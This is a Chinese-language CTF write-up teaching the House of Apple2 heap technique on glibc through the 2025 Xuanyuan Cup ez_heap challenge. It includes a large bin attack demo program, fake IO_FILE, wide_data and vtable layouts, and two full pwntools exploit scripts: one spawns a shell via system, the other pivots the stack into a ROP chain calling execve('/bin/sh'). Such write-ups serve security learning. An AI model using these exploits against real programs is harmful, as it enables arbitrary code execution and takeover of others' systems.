前排提要:本篇笔记并非追求原理以及理解,适合打算速成学习的基础薄弱的师傅们直接学习。
借用AttackingLin师傅的省流总结如下,本文以2025年轩辕杯的ez_heap来对其进行粗略的分析。
程序从main返回或者执行exit后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->overflow函数指针指向的函数。
那么我们的利用思路如下
劫持IO_FILE的vtable为IO_wfile_jumps
控制wide_data为可控的堆地址空间
控制wide_data->_wide_vtable为可控的堆地址空间
控制程序执行IO流函数调用,最终调用到IO_Wxxxxx函数即可控制程序的执行流
例题 轩辕杯2025-ez_heap
程序分析
main

很正常的一个增删查改
add_chunk

仅能允许申请>0x410字节的largebin_chunk
delete_chunk

有且仅有两次删除机会,但是留下了UAF漏洞,指针未置零
edit_chunk

写入自身大小内容
shouw_chunk

打印堆块内容,用来泄露libc的同时泄露heap
做题前置学习资料
large bin attack
浅析Large_bins_attack在高低版本的利用-先知社区
#include<stdio.h> #include<stdlib.h> #include<assert.h> int main(){ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("从glibc2.30开始,大块(large bin)插入时新增了两个检查\n\n"); printf("检查1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("检查2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("这阻止了传统的large bin攻击\n"); printf("但仍存在一条可能的路径触发large bin攻击,漏洞验证如下 : \n\n");
printf("====================================================================\n\n");
size_t target = 0; printf("这是我们要覆盖的目标变量地址(%p) : 当前值 = %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("第一步,分配第一个大块 [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("并分配防护块防止堆合并\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("接着分配第二个较小的大块 [p2] (%p).\n",p2-2); printf("该块应小于[p1]且属于同一个large bin\n"); size_t *g2 = malloc(0x18); printf("再次分配防护块防止合并\n");
printf("\n");
free(p1); printf("释放较大的块 [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("分配比[p1]更大的块将其插入large bin\n");
printf("\n");
free(p2); printf("释放较小的块 [p2] (%p)\n",p2-2); printf("此时large bin中有 [p1] (%p)\n",p1-2); printf(" unsorted bin中有 [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("修改p1->bk_nextsize指向 [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("最后分配比[p2] (%p)更大的块,将[p2]插入large bin\n", p2-2); printf("由于glibc在插入比最小块更小的块时不检查chunk->bk_nextsize\n"); printf("被篡改的p1->bk_nextsize不会触发错误\n"); printf("当[p2] (%p)插入large bin时,[p1](%p)->bk_nextsize->fd_nextsize会被覆盖为[p2]地址 (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("此时target的值被覆盖为[p2]地址 (%p),查看target (%p)\n", p2-2, (void *)target); printf("目标变量地址 (%p) : 当前值 = %p\n",&target,(size_t*)target);
printf("\n"); printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0; }
|
gcc自行编译即可
①下断点在free之前,查看创建好的chunk

b *$rebase(0x000000000001412)
这几个chunk分别对应着:
tcache_perthread_struct
size_t *p1 = malloc(0x428)
size_t *g1 = malloc(0x18)
size_t *p2 = malloc(0x418)
size_t *g2 = malloc(0x18)
Top_chunk
②释放0x428大小的chunk
free(p1);


b *$rebase(0x0000000000001428)
不难发现 大的chunk进入了unshortedbins,他这时候就记录着libc地址了
③分配大的chunk进入
size_t *g3 = malloc(0x438);

b *$rebase(0x0000000000001451)
此时上面那个大的chunk就会进入largebins
④释放较小的chunk
free(p2);


b *$rebase(0x000000000000147A)
此时bins里有一个大的chunk(largebins)和小的chunk(unshortedbins)
此时p2(小的chunk)进入了unshortedbins
⑤修改p1->bk_nextsize指向 [target-0x20]


b *$rebase(0x0000000000001513)
⑥申请更大的chunk,使小的chunk也进入largebins
p1->bk_nextsize->fd_nextsize会被覆盖为[p2]地址



b *$rebase(0x0000000000001527)
此时**目标地址的内容**已经被修改为了**小的chunk的地址**了,largbin_attack结束。
GDB手动载入符号表
有的时候我们会发现gdb找不到符号表或者丢失各种信息的情况,例如会显示

这时候就可以手动载入符号表,具体操作如下:
①找到本libc的版本号 使用file ./filename获取

BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e
②此时我们去符号表文件夹

③找到49开头的文件夹

④在gdb里导入debug文件

libc_addr=0x7ffff7c00000
使用命令:add-symbol-file file_addr libc_aadr

⑤此时就可以正确显示符号表了

Fake_IO_File
pwndbg> p *_IO_list_all $4 = { file = { // 整个file结构体起始偏移为0x0 _flags = 6845216, // offset 0x0(4字节) _IO_read_ptr = 0x441, // offset 0x8(指针,8字节) _IO_read_end = 0x0, // offset 0x10 _IO_read_base = 0x0, // offset 0x18 _IO_write_base = 0x0, // offset 0x20 _IO_write_ptr = 0x1, // offset 0x28 _IO_write_end = 0x0, // offset 0x30 _IO_buf_base = 0x0, // offset 0x38 _IO_buf_end = 0x0, // offset 0x40 _IO_save_base = 0x0, // offset 0x48 _IO_backup_base = 0x0, // offset 0x50 _IO_save_end = 0x0, // offset 0x58 _markers = 0x0, // offset 0x60 _chain = 0x0, // offset 0x68(8字节指针) _fileno = 2, // offset 0x70(4字节int) _flags2 = 0, // offset 0x74(4字节) _old_offset = -1, // offset 0x78(8字节__off_t) _cur_column = 0, // offset 0x80(2字节unsigned short) _vtable_offset = 0 '\000', // offset 0x82(1字节signed char) _shortbuf = "", // offset 0x83(1字节char数组) _lock = 0x0, // offset 0x88(8字节指针) _offset = -1, // offset 0x90(8字节_IO_off64_t) _codecvt = 0x0, // offset 0x98 _wide_data = (Fake_Fake_IO_wide_data), // offset 0xa0 _freeres_list = 0x0, // offset 0xa8 _freeres_buf = 0x0, // offset 0xb0 __pad5 = 0, // offset 0xb8(8字节) _mode = 0, // offset 0xc0(4字节) _unused2 = '\000' <repeats 19 times> // offset 0xc4(19字节填充) }, // file结构体总大小:0xd8字节 vtable = 0x7ffff7e170c0 // offset 0xd8 <_IO_wfile_jumps> }
|
fake_file=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(1) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0)*4 fake_file+=p64(0) fake_file+=p32(2) fake_file+=p32(0) fake_file+=p64(0xFFFFFFFFFFFFFFFF) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0xffffffffffffffff) fake_file+=p64(0) [!]fake_file+=p64(Fake_Fake_IO_wide_data) fake_file+=p64(0) fake_file+=p64(0)*2 fake_file+=p64(0)*2 fake_file+=p64(0) fake_file+=p64(libc_base+libc.sym['_IO_wfile_jumps'])
|
Fake_Fake_IO_wide_data
pwndbg> p *(struct _IO_wide_data*) 0x55555555c3c0 $3 = { _IO_read_ptr = 0x0, // offset: 0x0 _IO_read_end = 0x0, // offset: 0x8 _IO_read_base = 0x0, // offset: 0x10 _IO_write_base = 0x0, // offset: 0x18 _IO_write_ptr = 0x0, // offset: 0x20 _IO_write_end = 0x0, // offset: 0x28 _IO_buf_base = 0x0, // offset: 0x30 _IO_buf_end = 0x0, // offset: 0x38 _IO_save_base = 0x0, // offset: 0x40 _IO_backup_base = 0x0, // offset: 0x48 _IO_save_end = 0x0, // offset: 0x50 _IO_state = { // offset: 0x58 __count = 0, // offset: 0x58 (int, 4 bytes) __value = { // offset: 0x5c (union, 4 bytes) __wch = 0, // offset: 0x5c __wchb = "\000\000\000" // offset: 0x5c } }, _IO_last_state = { // offset: 0x60 (same as _IO_state) __count = 0, // offset: 0x60 __value = { // offset: 0x64 __wch = 0, __wchb = "\000\000\000" } }, _codecvt = { // offset: 0x68 __cd_in = { // offset: 0x68 step = 0x0, // offset: 0x68 (function pointer, 8 bytes) step_data = { // offset: 0x70 __outbuf = 0x0, // offset: 0x70 (8 bytes) __outbufend = 0x0, // offset: 0x78 (8 bytes) __flags = 0, // offset: 0x80 (int, 4 bytes) __invocation_counter = 0, // offset: 0x84 (int, 4 bytes) __internal_use = 0, // offset: 0x88 (int, 4 bytes) __statep = 0x0, // offset: 0x90 (8 bytes) __state = { // offset: 0x98 (same as _IO_state) __count = 0, __value = { __wch = 0, __wchb = "\000\000\000" } } } }, __cd_out = { // offset: 0xa0 (same as __cd_in) step = 0x0, // offset: 0xa0 step_data = { // offset: 0xa8 __outbuf = 0x0, // offset: 0xa8 __outbufend = 0x0, // offset: 0xb0 __flags = 0, // offset: 0xb8 __invocation_counter = 0, // offset: 0xbc __internal_use = 0, // offset: 0xc0 __statep = 0x0, // offset: 0xc8 __state = { // offset: 0xd0 __count = 0, __value = { __wch = 0, __wchb = "\000\000\000" } } } } }, _shortbuf = L"", // offset: 0xd8 (wchar_t[1], 2 bytes) _wide_vtable = (Fake_wide_vtable) // offset: 0xe0 (8 bytes) }
|
payload=b'\x00'*(0xe0)+p64(Fake__wide_vtable)
|
Fake_wide_vtable
要求Fake_wide_vtable紧跟在Fake_IO_File的前面且为0x??8字节大小以方便篡改flag位
pwndbg> p *(struct _IO_jump_t*) 0x55555555b6f0 $7 = { __dummy = 0, // 0x55555555b6f0 (offset +0x0) __dummy2 = 0, // 0x55555555b6f8 (offset +0x8) __finish = 0x0, // 0x55555555b700 (offset +0x10) __overflow = 0x0, // 0x55555555b708 (offset +0x18) __underflow = 0x0, // 0x55555555b710 (offset +0x20) __uflow = 0x0, // 0x55555555b718 (offset +0x28) __pbackfail = 0x0, // 0x55555555b720 (offset +0x30) __xsputn = 0x0, // 0x55555555b728 (offset +0x38) __xsgetn = 0x0, // 0x55555555b730 (offset +0x40) __seekoff = 0x0, // 0x55555555b738 (offset +0x48) __seekpos = 0x0, // 0x55555555b740 (offset +0x50) __setbuf = 0x0, // 0x55555555b748 (offset +0x58) __sync = 0x0, // 0x55555555b750 (offset +0x60) __doallocate = (call_target_addr), // 0x55555555b758 (offset +0x68) __read = 0x0, // 0x55555555b760 (offset +0x70) __write = 0x0, // 0x55555555b768 (offset +0x78) __seek = 0x0, // 0x55555555b770 (offset +0x80) __close = 0x0, // 0x55555555b778 (offset +0x88) __stat = 0x0, // 0x55555555b780 (offset +0x90) __showmanyc = 0x0, // 0x55555555b788 (offset +0x98) __imbue = 0x0 // 0x55555555b790 (offset +0xa0) }
|
payload =p64(0)*11+p64(call_target_addr)+p64(0)*7 payload+=b'\x00'*(Fake_wide_vtable.size-0x70)+b' sh'
|
最后执行出来的system(‘sh’)链【节选】
► 0x7ffff7c8e95b mov r15, qword ptr [rip + 0x18cd1e] R15, [_IO_list_all] => 0x55555555bb10 ◂— 0x687320 /* ‘ sh’ /
► 0x7ffff7c8e9bc mov rdi, r15 RDI => 0x55555555bb10 ◂— 0x687320 / ‘ sh’ */
► 0x7ffff7c83b9b <_IO_wdoallocbuf+43> call qword ptr [rax + 0x68] < system >
利用思路(一)直接getshell
先构造heap来尝试泄露libc和heap_addr
①创建chunk
add(0,1280)
add(1,1280)
add(2,1288)
add(3,1264)
add(4,1280)

②删除chunk1,进入unshortedbins

③申请更大的chunk,让它进入largebins(此时可以泄露libc_addr了)

④show一下chunk1,泄露libc【为了调试方便,我关闭了ASLR】

⑤修改bk_size为_IO_list_all-0x20

⑥此时删除chunk3,进入unshortedbins

⑦申请更大的chunk,把chunk3进入largebins,完成large_bins_attack

此时我们观察下_IO_list_all的结构体

已经被劫持过去,改空了,此时我们修改chunk3即可劫持这个_IO_list_all的表,同时泄露heap_addr

⑧然后根据上面的前置学习资料填入内容修改
⑨此时观察下内容分别是什么
_IO_list_all

_wide_data(其他全是0,仅展示下面了)

_wide_vtable

调用链如下:
①exit

②libc_addr+0x45390
③libc_addr+0x8eb50

④libc_addr+0x8e8e0

⑤_IO_wfile_overflow


⑥_IO_wdoallocbuf

⑦在这里面就可以调用system了

⑧然后就getshell了

from pwn import* context.arch='amd64'
p=process('./pwn_patched') libc=ELF('./libc.so.6')
def debug(): gdb.attach(p) pause() def add(index,size): p.sendline(str('1')) sleep(0.1) p.sendline(str(index)) sleep(0.1) p.sendline(str(size)) def delete(index): p.sendline(str('2')) sleep(0.1) p.sendline(str(index)) sleep(0.1) def edit(index,data): p.sendline(str('3')) sleep(0.1) p.sendline(str(index)) sleep(0.1) p.send(data) def show(index): p.sendline(str('4')) sleep(0.1) p.sendline(str(index)) add(0,1280) add(1,1280) add(2,1288) add(3,1264) add(4,1280) delete(1)
add(5,1296)
p.recv() show(1) p.recvuntil('index:\n') libc_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x21b110 log.success(hex(libc_addr)) fd=bk=libc_addr+0x21b110 _IO_list_all=libc_addr+libc.sym['_IO_list_all']-0x20 _IO_wfile_jumps=libc_addr+libc.sym['_IO_wfile_jumps'] system=libc_addr+libc.sym['system'] payload=p64(fd)+p64(bk)+p64(0)+p64(_IO_list_all) edit(1,payload) delete(3) add(5,1296) p.recv() p.recv() show(1) p.recvuntil('index:\n') heap_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x11c0 log.success(hex(heap_addr))
fake_file=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(1) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0)*4 fake_file+=p64(0) fake_file+=p32(2) fake_file+=p32(0) fake_file+=p64(0xFFFFFFFFFFFFFFFF) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0xffffffffffffffff) fake_file+=p64(0) fake_file+=p64(heap_addr+0x2a0) fake_file+=p64(0) fake_file+=p64(0)*2 fake_file+=p64(0)*2 fake_file+=p64(0) fake_file+=p64(libc_addr+libc.sym['_IO_wfile_jumps'])
edit(3,fake_file) Fake_Fake_IO_wide_data=b'\x00'*(0xe0)+p64(heap_addr+0xcb0) edit(0,Fake_Fake_IO_wide_data)
Fake_wide_vtable =p64(0)*11+p64(system)+p64(0)*7 Fake_wide_vtable=Fake_wide_vtable.ljust(1280,b'\x00') Fake_wide_vtable+=b' sh'
edit(2,Fake_wide_vtable)
p.sendline(str('5'))
p.interactive()
|
利用思路(二)栈迁移后getshll(目的不是getshell而是栈迁移)【svcudp_reply+26】
参考文章:高效IO攻击利用学习之House of apple2超详解-先知社区


这个是magic在gdb里的调试


此时rdi指向fake_io_list的,也就是以他为基地址来调用 那么我们就可以考虑构造一个栈迁移,其余的和前面不变,把system函数换成magic的地址,如下

这个fake_io_list要修改掉高亮的这一行为可控堆地址(构造栈迁移后执行rop),用来接下来的定位(rbp)

然后构造可控堆块内容即可劫持执行orw,后给出exp师傅们自行理解即可。
[!]标注出来的是和上面的exp不同的地方
from pwn import* context.arch='amd64'
p=process('./pwn_patched') libc=ELF('./libc.so.6')
def debug(): gdb.attach(p) pause() def add(index,size): p.sendline(str('1')) sleep(0.1) p.sendline(str(index)) sleep(0.1) p.sendline(str(size)) def delete(index): p.sendline(str('2')) sleep(0.1) p.sendline(str(index)) sleep(0.1) def edit(index,data): p.sendline(str('3')) sleep(0.1) p.sendline(str(index)) sleep(0.1) p.send(data) def show(index): p.sendline(str('4')) sleep(0.1) p.sendline(str(index))
add(0,1280) add(1,1280) add(2,1288) add(3,1264) add(4,1280) delete(1)
add(5,1296)
p.recv() show(1) p.recvuntil('index:\n') libc_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x21b110 log.success(hex(libc_addr)) fd=bk=libc_addr+0x21b110 _IO_list_all=libc_addr+libc.sym['_IO_list_all']-0x20 _IO_wfile_jumps=libc_addr+libc.sym['_IO_wfile_jumps'] magic=libc_addr+0x16a050+26 payload=p64(fd)+p64(bk)+p64(0)+p64(_IO_list_all) edit(1,payload) delete(3) add(5,1296) p.recv() p.recv() show(1) p.recvuntil('index:\n') heap_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x11c0 log.success(hex(heap_addr)) add(10,2560)
fake_file=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(1) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(heap_addr+0x2620) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p32(2) fake_file+=p32(0) fake_file+=p64(0xFFFFFFFFFFFFFFFF) fake_file+=p64(0) fake_file+=p64(0) fake_file+=p64(0xffffffffffffffff) fake_file+=p64(0) fake_file+=p64(heap_addr+0x2a0) fake_file+=p64(0) fake_file+=p64(0)*2 fake_file+=p64(0)*2 fake_file+=p64(0) fake_file+=p64(libc_addr+libc.sym['_IO_wfile_jumps'])
edit(3,fake_file) Fake_Fake_IO_wide_data=b'\x00'*(0xe0)+p64(heap_addr+0xcb0) edit(0,Fake_Fake_IO_wide_data)
Fake_wide_vtable =p64(0)*11+p64(magic)+p64(0)*7 Fake_wide_vtable=Fake_wide_vtable.ljust(1280,b'\x00') Fake_wide_vtable+=p64(0)
leave_ret=libc_addr+0x000000000004da83 pop_rax_ret=libc_addr+0x0000000000045eb0 pop_rdi_ret=libc_addr+0x000000000002a3e5 syscall=libc_addr+0x0000000000029db4 pop_rbp_ret=libc_addr+0x000000000002a2e0 pop_rsi_ret=libc_addr+0x000000000002be51 pop_rdx_pop_ret=libc_addr+0x00000000000904a9
edit(2,Fake_wide_vtable)
payload=p64(heap_addr+0x2620+0x100)+p64(leave_ret)+p64(heap_addr+0x2620+0x200)+p64(heap_addr+0x2620)+p64(0)+p64(leave_ret) payload=payload.ljust(0x100,b'\x00') payload+=p64(heap_addr+0x2620+0x200) payload+=p64(pop_rdi_ret)+p64(heap_addr+0x2620+0x158)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rdx_pop_ret)+p64(0)*2+p64(pop_rsi_ret)+p64(0)+p64(syscall) payload+=b'/bin/sh\x00' edit(10,payload)
p.sendline(str('5'))
p.interactive()
|

执行magic的时候以及各个寄存器的值(此时准备进入leave-ret)

进行栈迁移后成功劫持程序执行流

执行execve(“/bin/sh”,0,0)
至此 getshell